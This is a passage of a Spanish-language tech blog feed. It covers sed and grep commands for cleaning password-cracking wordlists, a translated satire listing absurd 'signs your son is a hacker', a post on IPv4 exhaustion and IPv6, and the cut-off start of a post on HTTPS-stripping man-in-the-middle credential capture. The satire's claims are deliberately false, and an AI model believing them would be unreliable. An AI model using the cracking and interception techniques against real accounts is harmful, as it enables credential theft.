names of input files; if no input files are</i></div><div><i>specified, then the standard input is read.</i></div><div><i><br /></i></div><div><i>E-mail bug reports to: bonzini@gnu.org .</i></div><div><i>Be sure to include the word ``sed'' somewhere in the ``Subject:'' field.</i></div></div><div><br /></div><a href="http://4.bp.blogspot.com/_rgCsrVyHiHw/TVCqeT8cLLI/AAAAAAAAAPw/0IEz2rPPSF4/s1600/dictionaryattack.jpg"><img src="http://4.bp.blogspot.com/_rgCsrVyHiHw/TVCqeT8cLLI/AAAAAAAAAPw/0IEz2rPPSF4/s320/dictionaryattack.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5571140176783879346" style="float: left; margin-top: 0px; margin-right: 10px; margin-bottom: 10px; margin-left: 0px; cursor: pointer; width: 320px; height: 268px; " /></a><div style="text-align: justify; ">esto es 1 poco mas dificil de manejar pero se deja... para remover un caracter al principio de la palabra:</div><div style="text-align: justify; "><br /></div><div><i>sed 's/^[caracter]//' -i lista.txt</i></div><div><br /></div><div>al final:</div><div><br /></div><div><i>sed 's/[caracter]$//' -i lista.txt</i></div><div><br /></div><div style="text-align: justify;">para borrar lineas conteniendo X caracter:</div><div><br /></div><div><i>sed '/caracter/d' -i lista.txt</i></div><div><br /></div><div style="text-align: justify; ">y asi podemos hacer infinidad de cosas con nuestras cadenas, si x ejemplo queremos extraer las palabras q empiecen con la letra "m" y continuen con cualquier caracter entre la "d" y la "j" usamos grep con el modificador "-w":</div><div><br /></div><div><i>grep -w 'm[d-j]*' .txt</i></div><div><br /></div><div>todo esto lo podemos combinar en 1 sola linea:</div><div><br /></div><div><i>./wyd.pl -n pages | grep -w 'm[d-j]*' | sort -d | uniq &gt; lista.txt</i></div><div><br /></div><div style="text-align: justify; ">o si son muchas algun script q simplifique para no tener q andar cambiando variables todo el tiempo en la consola.</div><div style="text-align: justify; "><br /></div><div style="text-align: justify; ">solamente queda cargarlas en su programa de cracking favorito y probarlas...</div><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3031385326498684086-4701310534615036611?l=locvtvs.blogspot.com' alt='' /></div>|_ocutushttp://www.blogger.com/profile/02250837178980619341noreply@blogger.com0tag:blogger.com,1999:blog-3031385326498684086.post-50538686402657547792011-01-10T18:49:00.017-03:002011-01-10T23:43:33.191-03:00<a href="http://4.bp.blogspot.com/_rgCsrVyHiHw/TSuqZuSu1FI/AAAAAAAAAPQ/VRgGuYT7Ezk/s1600/hacking.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="200" src="http://4.bp.blogspot.com/_rgCsrVyHiHw/TSuqZuSu1FI/AAAAAAAAAPQ/VRgGuYT7Ezk/s200/hacking.jpg" width="152" /></a><div style="text-align: justify;">me tome el trabajo de hacer 1 traduccion literal de este texto ya q las q andan x ahi son versiones adaptadas al publico español y la verdad q se pierde bastante en muchos puntos, ademas de inventar algunos y olvidarse otros tantos.</div><br /><div style="text-align: justify;">el original fue publicado en diciembre de 2001 x T. Reginald Gibbons aca:</div><br /><a href="http://www.adequacy.org/public/stories/2001.12.2.42056.2147.html">Is Your Son a Computer Hacker?</a><br /><br /><br /><br /><span class="Apple-style-span" style="font-size: medium;"><span class="Apple-style-span" style="color: yellow;"><b>su hijo es 1 hacker informatico?</b></span></span><br /><br /><div style="text-align: justify;">como padre moderno e informado, trato de estar tan envuelto como me es posible en las vidas de mis seis hijos. los aliento a unirse a equipos deportivos. mantengo un ojo paternal en los CDs q escuchan y los shows que van a ver, la editora a la que pertenecen los libros q leen. Se podria decir que soy 1 padre modelo. mis hijos nunca han dejado de hacerme sentir orgulloso, y puedo decir sin ninguna duda q tengo la mejor flia en USA.</div><br /><a href="http://1.bp.blogspot.com/_rgCsrVyHiHw/TSuCNRULdAI/AAAAAAAAAOw/QkmtbL_y4KI/s1600/wargames.jpg" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="227" src="http://1.bp.blogspot.com/_rgCsrVyHiHw/TSuCNRULdAI/AAAAAAAAAOw/QkmtbL_y4KI/s320/wargames.jpg" width="320" /></a><div style="text-align: justify;">hace 2 años, mi esposa carol y yo decidimos q la educacion de nuestros hijos no estaria completa sin alguna preparacion basica en computadoras modernas. con este fin, les compramos una nueva compaq con la q aprender. los niños se divirtieron mucho usando los programas de aplicacion q compramos, como adobe photoshop y microsoft's word, y mi esposa y yo nos vimos complacidos de q nuestro regalo fuera tan bien recibido. nuestro hijo peter fue el mas absorvido x el dispositivo, y se volvio casi un profesional surfeando la red. cuando peter comenzo a pasar dias enteros en la maquina, me preocupe, pero carol me recomendo q me calmara, q solo era una fase pasajera. Confie es sus instintos maternales, hasta q nuestra hija menor, cindy, entro al living 1 noche gritando: "PETER ES 1 HACKER!"</div><br /><div style="text-align: justify;">como podran imaginar, estaba sorprendido. 1 hacker en mi propia casa! comence a monitorear los habitos de mi hijo, para estar seguro de q cindy no estuviera simplemente inventando historias, como es propensa a hacer algunas veces.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">despues de unos pocos dias de investigacion, y algo de estudio en hacking, confronte a peter con la evidencia. temo decir, q esta fue la unica vez q estuve realmente decepcionado de 1 de mis hijos. Los criamos para ser honestos y tener integridad, y peter traiciono los principios q tratamos de inculcarle, cuando se rehuso a admitir sus actividades. Sus negaciones continuaron x horas, y al final, no me quedo otra opcion q prohibirle usar la computadora hasta ser lo suficientemente grande para ser responsable x sus actos.</div><br /><a href="http://3.bp.blogspot.com/_rgCsrVyHiHw/TSuEcMdpNSI/AAAAAAAAAO0/VpgT4fqE1H8/s1600/hacker.gif" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="320" src="http://3.bp.blogspot.com/_rgCsrVyHiHw/TSuEcMdpNSI/AAAAAAAAAO0/VpgT4fqE1H8/s320/hacker.gif" width="199" /></a><div style="text-align: justify;">despues de atravesar esta prueba con mi propia familia, estuve pensando la mejor manera de ayudar a otros en situacion similar. obtuve un monton de conocimiento sobre hackers en esos pocos dias. es justo que provea de esa informacion a otros padres, con la esperanza de q ellos puedan saber si sus hijos estan metidos dentro del mundo del hacking. tal vez otros padres puedan dirigir a sus hijos de regreso x el camino recto antes q medidas extremas deban ser empleadas.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">con este fin, decidi publicar el top ten de las señales de que su hijo es 1 hacker. recomiendo a todos los padres leer esta lista cuidadosamente y si su hijo coincide con el perfil, deben tomar alguna accion. 1 padre inteligente tratara primero de razonar con su hijo, antes de recurrir a castigos o hasta palizas. Me enorgullezco de nunca golpear a 1 niño, y espero q esta guia ayude a otros padres a detener la mala conducta de sus hijos antes q 1 paliza se vuelva necesaria.</div><br /><br /><b><span class="Apple-style-span" style="color: red;">1. le ha pedido se hijo cambiar de ISP?</span></b><br /><br /><div style="text-align: justify;">la mayoria de las familias americanas usa proveedores de internet responsables y de confianza, como AOL. estos proveedores tienen estrictas politicas de "no hacking", y toman cuidadosas medidas para asegurarse de q tenga 1 agradable experiencia en internet, educativa y sobre todo legal. si su hijo esta convirtiendose en hacker, 1 de sus primeros pasos sera pedir el cambio a algun proveedor mas "amigable" con los hackers.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">recomiendo a todos los padres q se nieguen a este pedido. 1 de las razones x la q su hijo esta interesado en cambiar de proveedor es para deshacerse del filtro de proteccion infantil de AOL. este filtro es vital para cualquier padre q desee q su hijo disfrute de internet sin ponerlo en peligro de la exposicion a contenido "adulto". es mejor poner la proteccion q AOL provee, en lugar de usar alguna solucion hogareña. si su hijo se esta convirtiendo en hacker, sera capaz de evitar cualquier medida "hogareña" con sorprendente facilidad, usando informacion obtenida de varios sitios hacker.</div><br /><b><span class="Apple-style-span" style="color: red;">2. encuentra programas en su computadora q no recuerda haber instalado?</span></b><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://3.bp.blogspot.com/_rgCsrVyHiHw/TSuFowJ11iI/AAAAAAAAAO4/rKD1ddTb4ys/s1600/Bonzi_buddy.jpg" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="171" src="http://3.bp.blogspot.com/_rgCsrVyHiHw/TSuFowJ11iI/AAAAAAAAAO4/rKD1ddTb4ys/s200/Bonzi_buddy.jpg" width="200" /></a></div><div style="text-align: justify;">su hijo probablemente intentara instalar algun software de hackers. tratara de ocultar su presencia de alguna manera, pero ud puede normalmente encontrar todos los nuevos programas viendo la lista de programas en "agregar y quitar programas" en su panel de control. Algunos programas hacker populares son "Comet Cursor", "Bonzi Buddy" y "Flash".</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">la mejor opcion es confrontar a su hijo con la evidencia, y forzarlo a remover los programas ofensivos. probablemente intentara instalar el software nuevamente, pero ud sera capaz de saber cuando esto suceda, si su maquina le ofrece "descargar" alguna de las aplicaciones hacker. si esto sucede, es tiempo de tener una severa charla con su hijo, y posiblemente considerar algun castigo.</div><br /><b><span class="Apple-style-span" style="color: red;">3. su hijo le ha pedido nuevo hardware?</span></b><br /><br /><div style="text-align: justify;">los hackers informaticos se ven frecuentemente limitados x el hardware convencional. ellos pediran placas de video "mas rapidas", y discos rigidos con mayor capacidad, o hasta mas memoria. pero si su hijo comienza a pedirle estos dispositivos, es posible q tenga 1 necesidad legitima. lo mejor q puede hacer es comprar hardware confiable y legal haciendolo solo al fabricante de su computadora.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">si su hijo le pide 1 nuevo procesador de una compañia llamada "AMD", es 1 genuina causa de alarma. AMD es 1 empresa del 3er mundo que hace copias inferiores de chips de procesadores americanos. usan mano de obra de niños en sus talleres tercermundistas, y deliberadamente desactivan caracteristicas de seguridad q los fabricantes de procesadores americanos, como intel, usan para prevenir el hacking. los chips AMD nunca son vendidos en tiendas, y seguramente se le pedira q lo ordene a traves de sitios de internet. no compre este chip! este es 1 pedido q debe rehusar a su hijo, si tiene alguna esperanza de criarlo bien.</div><br /><b><span class="Apple-style-span" style="color: red;">4. su hijo lee manuales de hacking?</span></b><br /><br /><div style="text-align: justify;">si presta bastante atencion a los habitos de lectura de su hijo, como yo hago, sera capaz de determinar la mayor parte de sus opiniones y hobbies. los niños son mas impresionables en su adolescencia. cualquier padre q haya sufrido el intento de su hija de 17 años de escabullirse a 1 cita, perfumada y maquillada, es consciente del efecto q las influencias impropias pueden causar en mentes inexperimentadas.</div><div style="text-align: justify;"><br /></div><div class="separator" style="clear: both; text-align: center;"></div><a href="http://3.bp.blogspot.com/_rgCsrVyHiHw/TSumluQiO0I/AAAAAAAAAPA/wvUWHKBxPTc/s1600/200px-Programming_Perl.jpg" imageanchor="1" style="text-align: justify;clear: left; float: left; margin-bottom: 1em; margin-right: 1em; "><img border="0" src="http://3.bp.blogspot.com/_rgCsrVyHiHw/TSumluQiO0I/AAAAAAAAAPA/wvUWHKBxPTc/s1600/200px-Programming_Perl.jpg" /></a><div style="text-align: justify;">hay, infortunadamente, muchos manuales de hacking disponibles en las librerias hoy dia. unos pocos titulos para tener bajo mirada son: "snow crash" y "cryptonomicon" de neal stephenson, "neuromancer" de william gibson, "programming with perl" de timothy o'reilly, "geeks" de jon katz, "the hacker crackdown" de bruce sterling, "microserfs" de douglas coupland, "hackers" de steven levy, y "the cathedral and the bazaar" de eric s. raymond.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">si encuentra alguno de estos manuales de hacking en posesion de sus hijos, confisquelos inmediatamente. puede ademas pedir a los proveedores locales de libros q remuevan estos titulos de sus estanterias. puede encontrarse con alguna resistencia al principio, pero hasta los vendedores de libros deben someterse a las presiones de la comunidad.</div><br /><b><span class="Apple-style-span" style="color: red;">5. cuanto tiempo x dia pasa su hijo usando la computadora?</span></b><br /><br /><div style="text-align: justify;">si su hijo pasa mas de 30 minutos x dia en la computadora, puede estar usando DOS contra paginas de otras personas. DOSear implica ganar acceso al "command prompt" (la consola) de otras maquinas, y usarlas para blockear servicios vitales de internet. esto puede tomar mas de 8 horas. si su hijo esta haciendo esto, esta rompiendo la ley, y debe detenerlo inmediatamente. la politica mas segura es limitar el acceso de sus hijos a la computadora a 1 maximo de 45 minutos x dia.</div><br /><b><span class="Apple-style-span" style="color: red;">6. su hijo juega quake?</span></b><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://3.bp.blogspot.com/_rgCsrVyHiHw/TSunIJRzh6I/AAAAAAAAAPE/I1mEOzcMkZQ/s1600/Quake1_paket.gif" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="320" src="http://3.bp.blogspot.com/_rgCsrVyHiHw/TSunIJRzh6I/AAAAAAAAAPE/I1mEOzcMkZQ/s320/Quake1_paket.gif" style="cursor: move;" width="275" /></a></div><div style="text-align: justify;">quake es 1 realidad virtual online usada por los hackers. es 1 lugar popular para encontrarse y entrenarse, donde ellos discuten sobre hacking y se entrenan en el uso de numerosas armas de fuego. muchos hackers desarrollan tendencias antisociales debido al uso de este mundo virtual, y pueden sufrir comportamiento erratico en el hogar o la escuela.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">si su hijo usa quake, debe hacerle entender q esto no es aceptable para ud. debe asegurarse q todas las armas de fuego en su casa esten bien guardadas, y tener los seguros de gatillo activados. tambien debe preocuparse x la atencion en la escuela.</div><br /><b><span class="Apple-style-span" style="color: red;">7. su hijo se esta volviendo discutidor y hosco?</span></b><br /><br /><div style="text-align: justify;">a medida q los adolescentes ingresan al electronico mundo del hacking, comienzan a desconectarse del mundo real. pierden la habilidad de controlar sus actos, o juzgar lo bueno o malo de un comportamiento. esto se manifestara pronto en la forma q trata a los demas. aquello con lo que disienta lo hara con desprecio, amargura y hasta lenguaje vulgar. proferira amenazas de violencia de naturaleza real o electronica.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">aun cuando sea confrontado, probablemente su hijo encuentre dificultad para hablar sobre este problema con ud. probablemente dira q no hay problema, y q esta imaginando cosas. le dira q es ud quien tiene el problema, y q debe "dejarlo solo" y "dejar de molestarlo". no se deje engañar. ud es la unica chance q tiene su hijo, aun si no entiende la situacion en la q esta. siga intentando llegar a el, no importa cuanto se refugie en si mismo.</div><br /><b><span class="Apple-style-span" style="color: red;">8. esta su hijo obsesionado con "Lunix"?</span></b><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://2.bp.blogspot.com/_rgCsrVyHiHw/TSuox9xowcI/AAAAAAAAAPI/5JGzhlQbbgo/s1600/tuxpirate.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/_rgCsrVyHiHw/TSuox9xowcI/AAAAAAAAAPI/5JGzhlQbbgo/s1600/tuxpirate.png" /></a></div><div style="text-align: justify;">BSD, Lunix, Debian y Mandrake son todas versiones de un sistema de operacion ilegal hacker, inventado por un hacker sovietico llamado linyos torovoltos, despues q los rusos perdieran la guerra fria. esta basado en 1 programa llamado "xenix", q fue escrito x microsoft para el gobierno de usa. estos programas son usados x hackers para entrar en las computadoras de otras personas y robar numeros de tarjetas de credito. ademas puede ser usado para entrar en los stereos ajenos para robar su musica, usando el programa "mp3". torovoltos es 1 conocido hacker, responsable de escribir muchos programas hacker, como "telnet", q es usado por los hackers para conectar a otras maquinas en internet sin usar el telefono.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">su hijo puede intentar instalar "lunix" en su disco rigido. si el es cuidadoso, ud no notara su presencia, sin embargo, lunix es 1 bestia caprichosa, y si lo maneja incorrectamente, su hijo puede dañar su computadora, y hasta romperla completamente borrando windows, a este punto su computadora debera ser reparada x 1 profesional.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">si ud ve la palabra "LILO" durante el arranque de windows (justo despues d encender la maquina), su hijo ha instalado lunix. para deshacerse de el, debe enviar su computadora de vuelta al fabricante, y hacer q le instalen 1 nuevo disco duro. lunix es 1 software extremadamente peligroso, y no puede ser removido sin destruir parte de la superficie de su disco.</div><br /><b><span class="Apple-style-span" style="color: red;">9. ha cambiado su hijo su apariencia radicalmente?</span></b><br /><br /><div style="text-align: justify;">si su hijo ha sido objeto de 1 repentino cambio en su estilo de vestir, ud puede tener 1 hacker en sus manos. los hackers tienden a vestirse con colores vivos, fluo. pueden vestir pantalones baggy, remeras con colores brillantes y pelo en punta con colores vivos para hacer juego con sus ropas. pueden llevar glow sticks y algunos llevan chupetes colgando de su cuello. (no tengo idea xq hacen esto). hay muchos de estos hackers en las escuelas hoy en dia, y su hijo puede estar comenzando a asociarse con ellos. si ud nota q el grupo de amigos de su hijo incluye gente vestida de tal manera, es hora de pensar en 1 severo toque de queda, para protegerlo de peligrosas influencias.</div><br /><b><span class="Apple-style-span" style="color: red;">10. esta su hijo teniendo dificultades en la escuela?</span></b><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://3.bp.blogspot.com/_rgCsrVyHiHw/TSup0Mxd4lI/AAAAAAAAAPM/uNgsScDpZYY/s1600/bad_student.jpg" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="212" src="http://3.bp.blogspot.com/_rgCsrVyHiHw/TSup0Mxd4lI/AAAAAAAAAPM/uNgsScDpZYY/s320/bad_student.jpg" width="320" /></a></div><div style="text-align: justify;">si su hijo se lleva materias en la escuela, o tiene notas bajas en deportes, puede estar involucrado en algun grupo de hacking, tal como la infame asociacion hacker "otaku". excesivo tiempo desperdiciado en la computadora, comunicandose con sus amigos hackers puede causar daño temporal a los ojos y el cerebro, a causa de la radiacion electromagnetica. esto causara q sus notas desciendan dramaticamente, particularmente en asignaturas dificiles como matematicas y quimica. en casos extremos, la sobreexposicion a la radiacion de la computadora puede causar esquizofrenia, meningitis y otras enfermedades psicologicas. ademas, la reduccion de ejercicio puede causar que pierda masa muscular, y hasta empezar a ganar peso. por el bien de la salud psiquica y mental de su hijo, debe ponerle 1 alto a su hacking, y limitar el tiempo q pasa con la computadora drasticamente.</div><br /><hr /><br /><div style="text-align: justify;">aliento a todos los padres a leer esta guia cuidadosamente. el futuro de sus hijos depende de esto. el hacking es 1 actividad ilegal y peligrosa, q puede enviar a su hijo a la carcel, y destrozar su familia. esto no debe tomarse demasiado en serio.</div><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3031385326498684086-5053868640265754779?l=locvtvs.blogspot.com' alt='' /></div>|_ocutushttp://www.blogger.com/profile/02250837178980619341noreply@blogger.com13tag:blogger.com,1999:blog-3031385326498684086.post-56179524014644935042010-12-05T01:07:00.001-03:002010-12-05T21:31:19.838-03:00<table border="0"><tbody><tr> <td style="text-align: justify;"><br /><script language="javascript" src="http://inetcore.com/project/ipv4ec/es-ES/wolf_c.js" this.style.textalign="left" type="text/javascript">n</script></td> <td style="text-align: justify;"><br />hace rato q se habla de este tema pero siempre parecio q nunca llegaria el dia o q alguien iba a hacer algo antes de que llegara, lo cierto es que ya no quedan muchas direcciones para asignar, a este ritmo es cuestion de dias para q se acaben. en el contador de la izquierda se puede ver al ritmo q bajan y lo poco q queda disponible...<br /><br />por supuesto la mayoria de los "mortales" no entiende mucho cual es el problema o si en realidad hay un problema o es otra estupidez como el y2k.<br /><br /></td><td></td><td></td><td><br /></td><td><br /></td> </tr></tbody></table><div style="text-align: justify;">pero no, esto va a tener consecuencias... buenas y/o malas...</div><br /><br /><div style="color: yellow;"><span style="font-size: large;"><b>que es una IP?</b></span></div><br /><div style="text-align: justify;">la sigla IP (Internet Protocol) se refiere al protocolo de comunicacion principal usado en internet. para q esto funcione cada maquina (o dispositivo) debe tener una direccion (direccion IP) que es unica dentro de la red, no puede haber 2 IPs iguales ya que esto genera un error inmediatamente. digamos q es como la direccion de nuestra casa, o el numero de documento de identidad o como se llame la identificacion q usen en su pais... un numero unico.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">la version q usamos desde hace casi 30 años es IPv4, en la cual este numero tiene una longitud de 32 bits, dividido en 4 segmentos de 8 bits. en decimal una tipica IP puede ser:</div><div style="text-align: center;"><i><br /></i></div><div style="text-align: center;"><i>200.43.65.23</i></div><br /><div style="text-align: justify;">cada uno de los campos lo comprende un numero entre 0 y 255 o sea q la cuenta es facil 256^4 (o 2^32 binario) lo cual nos da un total de 4.294.967.296 IPs posibles. a esto le tenemos q restar unos 18 millones reservados para redes privadas y otros 270 millones para multicast.</div><br /><br /><div style="color: yellow;"><b><span style="font-size: large;">quien asigna y quien reparte las IPs</span></b></div><br /><div style="text-align: justify;">a nosotros (el usuario final) nos da la IP nuestro proveedor de internet q tiene un numero limitado de ellas, cuando se le acaban y necesita mas las pide al RIR (Regional Internet Registrie) q le corresponde, en nuestra region esta LACNIC q cubre latinoamerica y el caribe. Existen otros 4 que son ARIN (norteamerica), AfriNIC (africa), APNIC (asia y pacifico), RIPE NCC (europa, medio este y asia central).</div><div style="text-align: justify;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="http://1.bp.blogspot.com/_rgCsrVyHiHw/TPqHXYCCKgI/AAAAAAAAAOY/kM2nkTTMxEI/s1600/rirmap.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="200" src="http://1.bp.blogspot.com/_rgCsrVyHiHw/TPqHXYCCKgI/AAAAAAAAAOY/kM2nkTTMxEI/s400/rirmap.jpg" width="400" /></a></div><br /><div style="text-align: justify;">cuando estos necesitan mas IPs se las piden al IANA (Internet Assigned Numbers Authority), al cual le quedan las q vemos en el contador... teniendo en cuenta q la demanda actual es de unos 200 millones al año parece q estamos en 1 problema... je</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">de todas formas se calcula q los RIRs y los ISPs (Internet Service Provider) tienen mas de 400 millones guardadas... lo cual nos da unos 2 años mas hasta que se acaben de verdad.</div><br /><br /><div style="color: yellow;"><b><span style="font-size: large;">celulares, 3g, 4g y toda esa porqueria</span></b></div><br /><div style="text-align: justify;">gran culpa de todo esto la tienen la gran cantidad de porquerias q ahora conectan a internet sin mucho sentido, tenemos millones de celulares, ipads y otros engendros conectando para actualizar perfiles de facebook, dejar comentarios estupidos en twitter, estar al tanto de la temperatura o ver videitos en youtube.</div><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://2.bp.blogspot.com/_rgCsrVyHiHw/TPrwQANyTJI/AAAAAAAAAOk/Cd-lduVAOW8/s1600/facebook-mobile.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="111" src="http://2.bp.blogspot.com/_rgCsrVyHiHw/TPrwQANyTJI/AAAAAAAAAOk/Cd-lduVAOW8/s200/facebook-mobile.jpg" width="200" /></a></div><div style="text-align: justify;">no seria mejor haberse planteado la real necesidad de darle una IP publica a cada uno antes de saturar todo? para q m... quiere una IP unica un telefono movil? alguien necesitaba correr un server de correo o un FTP desde el celu?</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">bastante mal uso hacen ya de las IPs con las conexiones hogareñas... estabamos tan tranquilos hace solo 10 años... en fin... todo sea x el "progreso" de la red...</div><br /><br /><div style="color: yellow;"><b><span style="font-size: large;">la solucion... IPv6</span></b></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">IPv6 es la nueva version del Internet Protocol diseñada para usar direcciones de 128 bits en lugar de 32 lo cual nos da un limite de 2^128 o sea:</div><br /><div style="text-align: center;"><i>340.282.366.920.938.463.463.374.607.431.768.211.456</i></div><br /><div style="text-align: justify;">las direcciones IPv6 estan compuestas, a diferencia de las v4, por 8 campos de 16 bits cada uno, el numero maximo seria:</div><br /><div style="text-align: center;"><i>FFFF:FFFF:FFFF:FFFF:FFFF:FFFF:FFFF:FFFF</i> (el decimal de arriba)</div><br /><div style="text-align: justify;">de estos los 1eros 64 corresponden al prefijo de red y los ultimos al identificador de la interfaz q se genera a partir de la MAC address del dispositivo conectado.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">los sistemas operativos ya tienen soporte para el nuevo protocolo hace años, el tema es q la mayoria del hardware de redes de alto nivel debe ser cambiado, incluyendo tambien la mayoria de los switches hogareños. ademas de q la transicion no se puede hacer de un dia para el otro, estamos hablando de un par de años como para hacerlo de manera q no cause demasiados transtornos, habra un largo periodo en el cual conviviran ambos protocolos hasta que el 4 vaya desapareciendo poco a poco... pero deberiamos empezar ya... </div><br /><br /><div style="color: yellow;"><b><span style="font-size: large;">especulacion?</span></b></div><br /><div style="text-align: justify;">q pasaria en 1 escenario donde no haya mas IPs? hay muchos ISPs chicos q ya usan NAT (Network Address Translation) para sacar montones de usuarios con una misma IP, como decia al principio para la mayoria de los "mortales" esto es lo mismo... hasta q quieren bajar alguna pelicula desde una pagina de descargas y les sale el tipico:</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Your IP address xx.xx.xx.xx is already downloading a file. Please wait until the download is completed.</div><br />o:<br /><br /><div style="text-align: justify;">Su dirección IP xx.xx.xx.xx se encuentra descargando xxxxx bytes del archivo XX. Por favor finalice esta descarga antes de iniciar otra.</div><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://2.bp.blogspot.com/_rgCsrVyHiHw/TPsCeLa9SCI/AAAAAAAAAOo/CYxwrJyvNQQ/s1600/rapidsharea.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="167" src="http://2.bp.blogspot.com/_rgCsrVyHiHw/TPsCeLa9SCI/AAAAAAAAAOo/CYxwrJyvNQQ/s640/rapidsharea.jpg" width="640" /></a></div><br /><div style="text-align: justify;">o alguna parecida... esta lleno en los foros de usuarios preguntando porque les sale ese error o no pueden correr servers de juegos... o algun newbie practicando con troyanos de conexion inversa q no puede forwardear puertos. ahi tienen la respuesta, estan todos en una gran LAN (Local Area Network) barrial...</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">ademas, por mas q nos acostumbremos a esto y quieran explotarlo al maximo el NAT tambien tiene limite. 1 IP puede usar un maximo de 65536 (FFFFh) puertos, o sea q puede abrir ese numero de conexiones, si se superan quedan encoladas hasta q se libere alguna.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">ni hablar del q quiera tener un simple FTP, o algo tan normal hoy en dia como una conexion a la pc de tu casa (hace años q no podria vivir sin ella),&nbsp; pagar una ip publica va a ser como pagar ahora una conexion dedicada.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">se dice q tanto los grandes operadores de usa como las organizaciones gubernamentales ya estan listas para empezar el proceso, google y facebook parecen estar tambien en el camino y en europa y asia hay algunos equipos q ya empezaron a ejecutarlo.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">en latinoamerica tambien tenemos algunas redes trabajando en v6 aunque al usuario final llegan en v4. aca la lista de quienes lo tienen implementado o estan en eso a dia de hoy:</div><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://4.bp.blogspot.com/_rgCsrVyHiHw/TPqXszV1AxI/AAAAAAAAAOc/RV-UCzDVGco/s1600/ipv6.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/_rgCsrVyHiHw/TPqXszV1AxI/AAAAAAAAAOc/RV-UCzDVGco/s1600/ipv6.jpg" /></a></div><br /><div style="color: yellow;"><b><span style="font-size: large;">conclusion</span></b></div><br /><div style="text-align: justify;">no se... q estamos esperando? a cuanto va el contador mientras leen esto? ya llego a 0?</div><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3031385326498684086-5617952401464493504?l=locvtvs.blogspot.com' alt='' /></div>|_ocutushttp://www.blogger.com/profile/02250837178980619341noreply@blogger.com0tag:blogger.com,1999:blog-3031385326498684086.post-72779760384542602012010-11-25T21:49:00.015-03:002011-09-30T20:16:41.020-03:00<div style="text-align: left;"><span class="Apple-style-span" style="font-size:large;"><b><br /></b></span></div><div style="text-align: justify;">esta tecnica fue presentada en el black hat dc 2009 por moxie marlinspike y desperto bastante revuelo, no era nuevo como ataque pero si la herramienta que lo automatiza y lo hace mucho mas facil.</div><div style="text-align: center;"><br /></div><div style="text-align: justify;">pero esto es del año pasado! diran... y encima pongo q es mas viejo, como es posible entonces q siga funcionando y nadie lo parchee. muy facil, no es 1 ataque directo al ssl sino que lo q hace es reemplazar todos los links https x http seguido de 1 ataque mitm como el q vimos en este link:</div><div><br /></div><div><a href="http://locvtvs.blogspot.com/2009/03/arp-poisoning.html">ARP Poisoning</a></div><div><br /></div><div style="text-align: justify;">de esta manera el objetivo se comunica con nosotros x http y nosotros con el servidor de destino x https, obteniendo en el proceso todas las passwords en texto plano q despues enviamos encriptadas a su destino final.</div><div><br /></div><div><img src="http://1.bp.blogspot.com/_rgCsrVyHiHw/TO8IugYBB-I/AAAAAAAAAOI/LU3Fq9bf8tM/s320/Screenshot-9.png" style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 92px;" alt="" id="BLOGGER_PHOTO_ID_5543659261374040034" border="0" /></div><div style="text-align: justify;">con esto salvamos el problema de certificados q tenemos usando ettercap como habiamos visto aca:</div><div><br /></div><div><a href="http://locvtvs.blogspot.com/2010/05/packet-sniffing-o-como-conseguir.html">Packet sniffing</a></div><div><br /></div><div>haciendo transparente el logueo para el objetivo... peligroso no?...</div><div><br /></div><div><br /></div><div><b><span class="Apple-style-span"><span class="Apple-style-span"><span style="color: rgb(255, 255, 51);"><span style="font-size:130%;">preparando el sistema</span></span></span></span></b></div><div><br /></div><img src="http://1.bp.blogspot.com/_rgCsrVyHiHw/TO8QVDir7ZI/AAAAAAAAAOQ/ybqG-Ppbme0/s320/images-geek-t-shirts-300-300-apt-get-beer-t-shirt.gif" style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 300px; height: 300px;" alt="" 